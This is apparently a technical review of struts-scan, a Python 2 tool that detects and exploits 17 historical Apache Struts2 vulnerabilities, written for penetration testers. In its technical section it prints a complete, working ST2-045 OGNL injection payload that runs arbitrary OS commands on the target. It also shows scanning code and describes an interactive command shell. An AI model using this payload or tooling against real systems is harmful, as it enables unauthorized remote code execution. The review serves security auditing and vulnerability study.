Inside struts-scan: A Python 2 Relic That Still Hunts 17 Struts2 Vulnerabilities
Hook
Between 2012 and 2018, Apache Struts2 vulnerabilities led to some of the most devastating breaches in cybersecurity history—including the Equifax hack that exposed 147 million people. One Python 2 tool still catalogs them all.
Context
Apache Struts2, once a dominant Java web framework, became infamous for a cascade of remote code execution vulnerabilities that plagued enterprise applications for nearly a decade. The framework's reliance on OGNL (Object-Graph Navigation Language) for data binding created a perfect storm: user input could be interpreted as code, and attackers exploited this repeatedly through different attack vectors. Each new CVE required organizations to patch immediately, but legacy systems often remained vulnerable for years—or still do today.
struts-scan emerged in this environment as a comprehensive audit tool, consolidating detection and exploitation logic for 17 distinct Struts2 CVEs (ST2-005 through ST2-057) into a single Python scanner. While the cybersecurity community has largely moved on to newer frameworks and modern tooling, thousands of legacy Struts2 applications still run in production, making historical vulnerability coverage essential for penetration testers and security auditors. This tool represents a snapshot of an era when enterprises learned painful lessons about framework security—and it remains relevant precisely because those legacy systems haven't disappeared.
Technical Insight
struts-scan's architecture revolves around HTTP-based payload injection with intelligent protocol negotiation. The tool constructs OGNL expressions designed to exploit specific Struts2 parsing vulnerabilities, sends them via crafted HTTP requests, and analyzes responses for successful command execution. What makes the implementation interesting is its handling of real-world deployment quirks.
The core detection logic uses Python's httplib with a notable fallback mechanism. Many Struts2 applications run behind enterprise infrastructure that doesn't gracefully handle HTTP/1.0 requests. The tool attempts HTTP/1.1 first, then automatically downgrades:
def scan_target(url, poc_type):
try:
conn = httplib.HTTPConnection(host, port, timeout=10)
conn.request("POST", path, payload, headers)
response = conn.getresponse()
except httplib.HTTPException:
# Fallback to HTTP/1.0 for compatibility
conn = httplib.HTTPConnection(host, port, timeout=10)
conn._http_vsn = 10
conn._http_vsn_str = 'HTTP/1.0'
conn.request("POST", path, payload, headers)
response = conn.getresponse()
This seemingly simple fallback logic dramatically improves detection reliability against enterprise deployments behind load balancers, reverse proxies, or legacy infrastructure that chokes on modern HTTP protocol features.
Payload construction varies by CVE, but the ST2-045 implementation illustrates the OGNL injection technique that dominated Struts2 vulnerabilities. This CVE exploited the Content-Type header during file upload processing:
payload_045 = "%{(#_='multipart/form-data')."
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
"(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
"(#ognlUtil.getExcludedPackageNames().clear())."
"(#ognlUtil.getExcludedClasses().clear())."
"(#context.setMemberAccess(#dm))))."
"(#cmd='%s')."
"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
"(#p=new java.lang.ProcessBuilder(#cmds))."
"(#p.redirectErrorStream(true)).(#process=#p.start())."
"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
"(#ros.flush())}"
This OGNL expression chains multiple operations: it disables security restrictions, executes OS commands with platform detection (Windows vs. Linux), and streams output directly to the HTTP response. The payload demonstrates why Struts2 vulnerabilities were so severe—complete JVM access through a single HTTP header.
For batch operations, struts-scan implements a straightforward target queue with automatic result logging:
def batch_scan(target_file, output_file):
with open(target_file, 'r') as f:
targets = [line.strip() for line in f if line.strip()]
results = []
for target in targets:
for poc in POC_LIST:
if check_vulnerability(target, poc):
result = f"{target} - {poc} - VULNERABLE"
results.append(result)
print(result)
with open(output_file, 'w') as f:
f.write('\n'.join(results))
The interactive shell mode is where exploitation becomes practical. After confirming a vulnerability, users can execute arbitrary commands through a simple REPL interface. The tool maintains session state, constructs payloads for each command, and parses responses to display command output cleanly. This transforms raw vulnerability detection into actionable exploitation for authorized penetration testing.
One architectural decision worth noting: the tool compiles to standalone executables for Linux and Windows using PyInstaller. This packaging choice prioritizes accessibility over maintainability—security auditors can run the tool without Python environment setup, but it freezes the Python 2 runtime into the binary, embedding all its legacy baggage.
Gotcha
The Python 2 dependency isn't just an inconvenience—it's a security liability. Python 2 reached end-of-life in January 2020, meaning no security patches for interpreter vulnerabilities. Running struts-scan on internet-connected systems introduces risk, especially ironic for a security tool. Many modern Linux distributions don't ship Python 2 by default anymore, requiring manual installation or containerization. The tool won't run on Python 3 without significant rewrites due to httplib removal (replaced by http.client), print statement syntax, and string/bytes handling changes.
The ST2-057 detection is implemented but marked as impractical by the author. This vulnerability has theoretical impact but requires specific application configurations rarely seen in production. The tool will report it as vulnerable, but exploitation typically fails, leading to false confidence. Similarly, ST2-053 requires manual parameter identification and adjustment—the tool can't automatically determine which application parameters to exploit, reducing its batch scanning effectiveness for this CVE. When testing applications with custom Struts2 configurations or non-standard deployments, expect manual payload tuning beyond what the tool automates.
Verdict
Use if: You're conducting security audits of legacy enterprise systems that may still run Struts2 applications from 2012-2018, you need comprehensive CVE coverage in a single tool for penetration testing engagements, or you're performing historical vulnerability research and need working exploits for academic purposes. The batch scanning capability makes it efficient for large-scale legacy infrastructure assessments, and the interactive shell provides practical exploitation once vulnerabilities are confirmed. Run it in isolated Docker containers or dedicated security testing VMs to mitigate Python 2 risks.
Skip if: You're building modern security workflows that require Python 3 compatibility, you need active maintenance and updates for emerging vulnerabilities, or you're scanning applications built after 2018 where newer Struts versions and modern frameworks dominate. For contemporary security testing, invest in Metasploit modules or Python 3-based alternatives that receive active development. Also skip if you lack authorization for exploitation—the tool's shell capabilities cross from detection into active compromise, requiring explicit penetration testing agreements.